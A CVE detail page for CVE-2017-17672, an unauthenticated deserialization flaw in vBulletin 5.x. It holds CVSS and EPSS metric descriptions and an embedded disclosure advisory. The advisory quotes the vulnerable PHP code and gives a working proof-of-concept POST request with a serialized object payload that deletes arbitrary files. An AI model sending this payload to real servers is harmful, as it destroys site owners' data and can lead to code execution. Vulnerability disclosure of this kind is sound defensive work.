CVE-2017-17672 : Detail

CVE-2017-17672

9.8
/
Critical
A08-Soft and Data Integrity Fail
11.34%V4
Network
2017-12-13
23h00 +00:00
2017-12-19
09h57 +00:00
CVE.org
NVD
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CVE Descriptions

In vBulletin through 5.3.x, there is an unauthenticated deserialization vulnerability that leads to arbitrary file deletion and, under certain circumstances, code execution, because of unsafe usage of PHP's unserialize() in vB_Library_Template's cacheTemplates() function, which is a publicly exposed API. This is exploited with the templateidlist parameter to ajax/api/template/cacheTemplates.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-502 Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43362

Publication date : 2017-12-12 23h00 +00:00
Author : SecuriTeam
EDB Verified : No

# SSD Advisory – vBulletin cacheTemplates Unauthenticated Remote Arbitrary File Deletion Source: https://blogs.securiteam.com/index.php/archives/3573 ## Vulnerability Summary The following advisory describes a unauthenticated deserialization vulnerability that leads to arbitrary delete files and, under certain circumstances, code execution found in vBulletin version 5. vBulletin, also known as vB, is “a widespread proprietary Internet forum software package developed by vBulletin Solutions, Inc., based on PHP and MySQL database server. vBulletin powers many of the largest social sites on the web, with over 100,000 sites built on it, including Fortune 500 and Alexa Top 1M companies websites and forums. According to the latest W3Techs1 statistics, vBulletin version 4 holds more than 55% of the vBulletin market share, while version 3 and 5 divide the remaining percentage”. ## Credit A security researcher from, TRUEL IT ( @truel_it ), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ## Vendor response We tried to contact vBulletin since November 21 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities. CVE: CVE-2017-17672 ## Vulnerability details Unsafe usage of PHP’s unserialize() on user-supplied input allows an unauthenticated attacker to delete arbitrary files and, under certain circumstances, execute arbitrary code on a vBulletin installation. vB_Library_Template’s cacheTemplates() function, which is an publicly exposed API which allows to fetch information on a set of given templates from the database in order to store them inside a cache variable. File core/vb/api/template.php – function cacheTemplates(): ``` public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false, $force_set = false) { return vB_Library::instance('template')->cacheTemplates($templates, $templateidlist, $skip_bbcode_style, $for ``` Let’s take a look at $templateidlist – core/vb/library/template.php – function cacheTemplates(): ```` public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false, $force_set = false) { $vboptions = vB::getDatastore() // vB_Library_Style::switchCssStyle() may pass us a templateidlist that's already unserialized. if (!is_array($templateidlist)) { $templateidlist = unserialize($templateidlist); } foreach ($templates AS $template) { if (isset($templateidlist[$template])) { $templateids[] = intval($templateidlist[$template]); } } if (!empty($templateids)) { $temps = vB::getDbAssertor(array('title', 'textonly', 'template_un', 'template')); // cache templates foreach ($temps as $temp) { if (empty(self::$templatecache["$temp[title]"]) OR $force_set) { self::$templatecache["$temp[title]"] = $this; } } } if (!$skip_bbcode_style) { self::$bbcode_style = array( 'code' => &$templateassoc['bbcode_code_styleid'], 'html' => &$templateassoc['bbcode_html_styleid'], 'php' => &$templateassoc['bbcode_php_styleid'], 'quote' => &$templateassoc['bbcode_quote_styleid'] ); } } ``` $temnplateidlist variable, which can come directly from user-input, is directly supplied to unserialize(), resulting in an arbitrary deserialization primitive. ## Proof of Concept By sending the following POST request an unauthenticated attacker can delete files from the victims server ``` POST /vb533/ajax/api/template/cacheTemplates HTTP/1.1 Host: vb533.test Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 125 templates[]=1&templateidlist=O:20:"vB_Image_ImageMagick":1:{s:20:"%00*%00imagefilelocation";s:13:"/path/to/file";} ``` The server then will respond with: ``` HTTP/1.1 200 OK Date: Fri, 27 Oct 2017 09:27:52 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: sessionhash=409d8f4b16ebb55471e63509834d0eff; path=/; HttpOnly Set-Cookie: lastvisit=1509096472; path=/; HttpOnly Set-Cookie: lastactivity=1509096472; path=/; HttpOnly Set-Cookie: sessionhash=44b1e8d2d433031ec2501649630dd8bf; path=/; HttpOnly Cache-Control: max-age=0,no-cache,no-store,post-check=0,pre-check=0 Expires: Sat, 1 Jan 2000 01:00:00 GMT Last-Modified: Fri, 27 Oct 2017 09:27:52 GMT Pragma: no-cache Vary: Accept-Encoding Content-Length: 2101 Connection: close Content-Type: application/json; charset=UTF-8 {"errors":[["unexpected_error","Cannot use object of type vB_Image_ImageMagick as array"]]} ```

Products Mentioned

Configuraton 0

Vbulletin>>Vbulletin >> Version From (including) 5.0.1 To (including) 5.3.3

Vbulletin>>Vbulletin >> Version 5.0.0

Vbulletin>>Vbulletin >> Version 5.0.0

References

https://www.exploit-db.com/exploits/43362/
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.